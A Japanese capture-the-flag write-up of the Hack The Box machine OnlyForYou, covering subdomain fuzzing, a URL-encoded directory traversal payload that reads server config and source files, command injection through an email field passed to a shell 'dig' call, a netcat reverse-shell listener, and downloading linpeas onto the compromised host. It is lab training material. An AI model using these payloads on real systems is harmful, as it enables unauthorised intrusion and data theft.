【Hack The Box】OnlyForYou【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___OnlyForYou___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.68.127 --top --ulimit 1500
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 1500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.68.127:22
Open 10.129.68.127:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 08:36 EDT
Initiating Ping Scan at 08:36
Scanning 10.129.68.127 [4 ports]
Completed Ping Scan at 08:36, 0.33s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:36
Completed Parallel DNS resolution of 1 host. at 08:36, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:36
Scanning 10.129.68.127 [2 ports]
Discovered open port 80/tcp on 10.129.68.127
Discovered open port 22/tcp on 10.129.68.127
Completed SYN Stealth Scan at 08:36, 0.33s elapsed (2 total ports)
Nmap scan report for 10.129.68.127
Host is up, received reset ttl 63 (0.29s latency).
Scanned at 2023-04-24 08:36:34 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
```
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「only4you.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

# Collection - 1
## ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
`/etc/hosts`をいじっていく。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
以下を投入。
```bash
10.129.68.127   only4you.htb
```
疎通確認を行う。
```bash
┌──(root㉿kali)-[~/work]
└─# ping only4you.htb
```
実際にアクセスすると、このようなページが見える。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/eb9c4c97-05c8-1253-72a7-ae2967ebe642.png)


## サイト探索
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
```
`ffuf`で探索。301でリダイレクトが帰ってきてたので、301のレスポンスを弾く。
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://only4you.htb/ -H "HOST: FUZZ.only4you.htb" -fc 301 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://only4you.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.only4you.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 344ms]
    * FUZZ: beta

:: Progress: [100000/100000] :: Job [1/1] :: 471 req/sec :: Duration: [0:03:34] :: Errors: 0 ::
```
あ、サブドメインを見つけた。
此奴を`/etc/hosts`に登録していく。
```bash
10.129.68.127   beta.only4you.htb
```
この`beta.only4you.htb`にアクセスする。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f1a267aa-bfd3-e913-cc3c-65381f3c2ad5.png)
ほう？何かSourceがありそうなボタンだ。押してみると何やらBetaサイトのソースコードが落ちてきた。
このコードを解析していこうと思う。

# Initial Access - 1
## app.py
このBetaサイトの肝となる以下の`app.py`を解析。
```python:app.py
from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['RESIZE_FOLDER'] = 'uploads/resize'
app.config['CONVERT_FOLDER'] = 'uploads/convert'
app.config['LIST_FOLDER'] = 'uploads/list'
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png']

@app.route('/', methods=['GET'])
def main():
    return render_template('index.html')

@app.route('/resize', methods=['POST', 'GET'])
def resize():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('Something went wrong, Try again!', 'danger')
            return redirect(request.url)
        file = request.files['file']
        img = secure_filename(file.filename)
        if img != '':
            ext = os.path.splitext(img)[1]
            if ext not in app.config['UPLOAD_EXTENSIONS']:
                flash('Only png and jpg images are allowed!', 'danger')
                return redirect(request.url)    
            file.save(os.path.join(app.config['RESIZE_FOLDER'], img))
            status = resizeimg(img)
            if status == False:
                flash('Image is too small! Minimum size needs to be 700x700', 'danger')
                return redirect(request.url)
            else:
                flash('Image is succesfully uploaded!', 'success')
        else:
            flash('No image selected!', 'danger')
            return redirect(request.url)
        return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}
    else:
        return render_template('resize.html', clicked="False")

@app.route('/convert', methods=['POST', 'GET'])
def convert():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('Something went wrong, Try again!', 'danger')
            return redirect(request.url)
        file = request.files['file']
        img = secure_filename(file.filename)
        if img != '':
            ext = os.path.splitext(img)[1]
            if ext not in app.config['UPLOAD_EXTENSIONS']:
                flash('Only jpg and png images are allowed!', 'danger')
                return redirect(request.url)    
            file.save(os.path.join(app.config['CONVERT_FOLDER'], img))
            if ext == '.png':
                image = convertpj(img)
                return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
            else:
                image = convertjp(img)
                return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
        else:
            flash('No image selected!', 'danger')
            return redirect(request.url) 
        return render_template('convert.html')
    else:
        [f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]
        return render_template('convert.html')

@app.route('/source')
def send_report():
    return send_from_directory('static', 'source.zip', as_attachment=True)

@app.route('/list', methods=['GET'])
def list():
    return render_template('list.html')

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_error(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)
```
## directory traversal
上記コードの`/download`のルートを確認すると、ディレクトリトラバーサルのエスケープが見えるが、デコードでの解析をしてなさそうなので、URLエンコードで突破できると考えられる。というわけでこの脆弱性を利用してみようと思う。
実際にエスケープ後の関数`send_file`は[flaskの関数](https://github.com/pallets/flask/blob/d0bf462866289ad8bfe29b6e4e1e0f531003ab34/src/flask/helpers.py#L393)で、`werkzeug.utils.send_file`を利用している。この関数の[ソース](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/utils.py#L318)を見てみると、asciiでデコードできそうなんですよね。

このルートへのリクエストは`/list`階層から通常は行われる。
以下が`/list`のページで、ダウンロードアイコンをクリックすると`/download`のPOSTリクエストが飛ぶ仕様だ。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9df3af21-3bc0-5ba2-3559-7598e783c532.png)
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/503a789e-b464-bbe8-14e5-c1fac57115db.png)
んじゃこの`image=`にトラバーサルをかけてみる。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/337091be-8e1d-b359-b1aa-d94c292bb726.png)
成功！！！！
まぁどうせsshの階層は見えないと思うので、大人しく以下の`Wappalyzer`で表示されていたnginxの階層でも調査していこうと思う。

https://www.wappalyzer.com/

# Collection - 2
## nginx
コンフィグファイルがある場所`/etc/nginx/nginx.conf`にトラバーサルを実施
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3c374f52-f201-8cf4-6327-b48c2ec39cfc.png)
行けた。httpの設定を以下に抜粋する。
```conf:nginx.conf
http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	tcp_nodelay on;
	keepalive_timeout 65;
	types_hash_max_size 2048;
	# server_tokens off;

	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}
```
`include /etc/nginx/sites-enabled/*;`の記述があるので、この階層のファイルも取得する。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7bf361f4-d1a2-8019-b993-375106a5aa97.png)

`/var/www/only4you.htb/`と`/var/www/beta.only4you.htb/`の階層にアプリケーションのファイルが存在するようである。
betaの方のコードはすでに入手しているのでここから展開するとしたらメインのドメインの方であるが、一旦サブドメインのコードに戻って何か情報がないか探っていこうと思う。

## rabbit hole - Beta Code
実はこの章はrabbit holeとして自分がはまってしまったことも書いておこうと思う。
このbetaのソースコードにはもう一つ`tool.py`という以下のコードが存在する。
```python:tool.py
from flask import send_file, current_app
import os
from PIL import Image
from pathlib import Path

def convertjp(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.png'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def convertpj(image):
    imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
    img = Image.open(imgpath)
    rgb_img = img.convert('RGB')
    file = os.path.splitext(image)[0] + '.jpg'
    rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
    return file

def resizeimg(image):
    imgpath = os.path.join(current_app.config['RESIZE_FOLDER'], image)
    sizes = [(100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700)][::-1]
    img = Image.open(imgpath)
    sizeimg = img.size
    imgsize = []
    imgsize.append(sizeimg)
    for x,y in sizes:
        for a,b in imgsize:
            if a < x or b < y:
                [f.unlink() for f in Path(current_app.config['LIST_FOLDER']).glob("*") if f.is_file()]
                [f.unlink() for f in Path(current_app.config['RESIZE_FOLDER']).glob("*") if f.is_file()]
                return False
            else:
                img.thumbnail((x, y))
                if os.path.splitext(image)[1] == '.png':
                    pngfile = str(x) + 'x' + str(y) + '.png'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + pngfile)
                else:
                    jpgfile = str(x) + 'x' + str(y) + '.jpg'
                    img.save(current_app.config['LIST_FOLDER'] + '/' + jpgfile)
    return True
```
PILという例のやつが存在するのがわかると思う。ここら辺は画像を操ってRCEを発火させるので、上記のトラバーサル脆弱性を利用して画像保存階層を特定しつつやっていくExploitの道筋を大まかに立てた人はいると思う。
私は結構ここでハマった。
何度このConvertに悩まされたことか。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/34a63672-7979-34ce-86c6-5d15f270e0f8.png)

こういうのも出てたのでちょっとハマってしまいました。

https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-2331901

## file fuzzing search
PILで斬殺された私であったが、他にファイルが、情報が欠落しているのではないかと考えて探索を再開させる。
MySQLでトラバーサル。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/58da5885-82a7-9a7d-b683-b9fc8ac0f234.png)
ここら辺は特段深掘ってもいいものは出てこなかった。
続いてメインアプリ階層`/var/www/only4you.htb/`
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d8efbb24-f21f-6383-0bf3-44bf8da943bb.png)
この`app.py`に特段脆弱性のようなものはなかった。
ただ以下のインポート文で気になる記述を見つける。
```py
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
```
`form`から`sendmessage`をインポートしている。こんな標準ライブラリは見ない。
何かPythonパッケージが用意されていると考える。よってこ此奴を探索していこうと思う。
簡単なのは同階層にPythonファイルを用意している場合なので、`.py`で探索してみた。
以下のサイトから探索用のファイルをダウンロード
```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt
```
`download_req_main`というファイル名で以下のリクエストを保存する。
```text:download_req_main
POST http://beta.only4you.htb/download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://beta.only4you.htb
Connection: close
Referer: http://beta.only4you.htb/list
Upgrade-Insecure-Requests: 1

image=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/only4you.htb/FUZZ.py
```
`ffuf`探索
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -request ./download_req_main -t 100 -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://beta.only4you.htb/download
 :: Wordlist         : FUZZ: /root/work/directory-list-2.3-small.txt
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Accept-Encoding: gzip, deflate
 :: Header           : Origin: http://beta.only4you.htb
 :: Header           : Referer: http://beta.only4you.htb//list
 :: Header           : Host: beta.only4you.htb
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Connection: close
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : image=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/only4you.htb/FUZZ.py
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

[Status: 200, Size: 2025, Words: 127, Lines: 74, Duration: 287ms]
    * FUZZ: form

[Status: 200, Size: 1297, Words: 223, Lines: 45, Duration: 277ms]
    * FUZZ: app

:: Progress: [87664/87664] :: Job [1/1] :: 178 req/sec :: Duration: [0:08:40] :: Errors: 0 ::
```
`form`を見つけた。このファイルを取得する。

# Persistence
## form.py
取得したファイルは以下である。
```python:form.py
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status
```
このファイルの1つ目の`else`を確認する。
```python
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
```
`dig`コマンドを叩き込んでいるのが見える。んじゃこの`domain`の変数にペイロード叩き込めばいいのでは？？`domain`は`email`変数の中身の`@`以降の部分をスプリットしているのでメールアドレスのドメイン部分に注入すれば良さそう。
`email`は`sendmessage`関数から来ている。この関数を使っている`app.py`を確認すると以下の記述が見える。
```python
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
```
オッケー、メインのドメインにPOSTでemailにペイロード叩き込みます！！！！
## Reverse Shell
まず`ping -c 3`コマンドが通るか確認する。`ip`でアドレスを確認。
※この場合はtun0
```bash
┌──(root💀kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.31/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
```
更に、icmpパケットが到達したか確認するために以下のコマンドを打っておく。
```bash
┌──(root💀kali)-[~/work]
└─# tcpdump icmp -i tun0
```
じゃあレッツトライ
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7afeeefa-275b-3c3f-65dc-95e0606d2278.png)
Pingが通りました。続いて以下のいつものページからリバースシェルの作成。

https://www.revshells.com/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/37aa1e77-fd43-7f3e-1b44-bbf546b3964e.png)
シェルを待ち受けルために以下のコマンドを打っておきます。

```bash
┌──(root💀kali)-[~/work]
└─# nc -lvnp 4444
```
レッツExploit！！！
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8b83f157-c61d-c3eb-a6a1-ef05e2ab0f32.png)
決まった。。。

## interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

`Ctrl`+`Z`で接続をバックグラウンドにし、以下のコマンドを実行する。
```bash
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.31] from (UNKNOWN) [10.129.158.5] 47662
www-data@only4you:~/only4you.htb$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~]
└─# stty raw -echo; fg 
[1]  + continued  nc -lvnp 4444
                               export TERM=xterm-256col
www-data@only4you:~/only4you.htb$ export SHELL=bash
www-data@only4you:~/only4you.htb$ 
www-data@only4you:~/only4you.htb$ 
```
これで足場は完成である。
だが一般User権限は奪取できていない。

# Collection - 3
## linpeas
`/home`や`/var/www`、`/opt`配下に現在の権限で触れそうなものがなかったので出し惜しみ無しで`linpeas`を発動させる。
以下のサイトからlinpeas.shをダウンロードしてくる。

https://github.com/carlospolop/PEASS-ng/releases

```bash
┌──(root💀kali)-[~/work]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/download/20230129/linpeas.sh
```
此奴を転送するためにHTTPサーバを起動しておく。
```bash
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
```
攻撃対象サーバでダウンロードし、実行する。
```bash
www-data@only4you:/tmp$ 
www-data@only4you:/tmp$ 
www-data@only4you:/tmp$ wget http://10.10.14.31/linpeas.sh
--2023-04-26 11:09:55--  http://10.10.14.31/linpeas.sh
Connecting to 10.10.14.31:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828098 (809K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 808.69K   164KB/s    in 4.9s    

2023-04-26 11:10:01 (164 KB/s) - ‘linpeas.sh’ saved [828098/828098]

www-data@only4you:/tmp$ 
www-data@only4you:/tmp$ chmod +x linpeas.sh
www-data@only4you:/tmp$ ./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                     
    |         Follow on Twitter         :     @carlospolopm                           |                                                                     
    |         Respect on HTB            :     SirBroccoli                             |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |                                 Thank you!                                      |                                                                     
    \---------------------------------------------------------------------------------/                                                                     
          linpeas-ng by carlospolop                                                                                                                         
                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.                              
                                                                                                                                                            
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...


...省略


╔══════════╣ Searching tmux sessions
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions                                                                      
tmux 3.0a                                                                                                                                                   


/tmp/tmux-33
╔══════════╣ Analyzing Neo4j Files (limit 70)
-rw-r--r-- 1 root root 733 Nov 21 07:59 /etc/default/neo4j                                                                                                  

-rwxr-xr-x 1 root root 2969 Dec  4 22:22 /etc/init.d/neo4j

drwxr-x--- 2 neo4j adm 4096 Mar 30 11:51 /etc/neo4j
find: ‘/etc/neo4j’: Permission denied

-rwxr-xr-x 1 root root 259 Mar 23 15:01 /usr/bin/neo4j

drwxr-sr-x 12 root staff 4096 Mar 30 11:51 /usr/local/lib/python3.8/dist-packages/neo4j

drwxr-xr-x 2 root root 4096 Mar 30 11:51 /usr/share/doc/neo4j

-rw-r--r-- 1 root root 312 Mar 23 15:01 /usr/share/lintian/overrides/neo4j

drwxr-x--- 7 neo4j adm 4096 Mar 30 11:51 /usr/share/neo4j
find: ‘/usr/share/neo4j’: Permission denied

drwxr-x--- 10 neo4j adm 4096 Mar 30 11:51 /var/lib/neo4j
find: ‘/var/lib/neo4j’: Permission denied

drwxr-xr-x 2 neo4j adm 4096 Mar 30 12:08 /var/log/neo4j


╔══════════╣ Analyzing Keyring Files (limit 70)
drwxr-xr-x 2 root root 4096 Mar 30 11:51 /usr/share/keyrings                                                                                                




╔══════════╣ Searching uncommon passwd files (splunk)
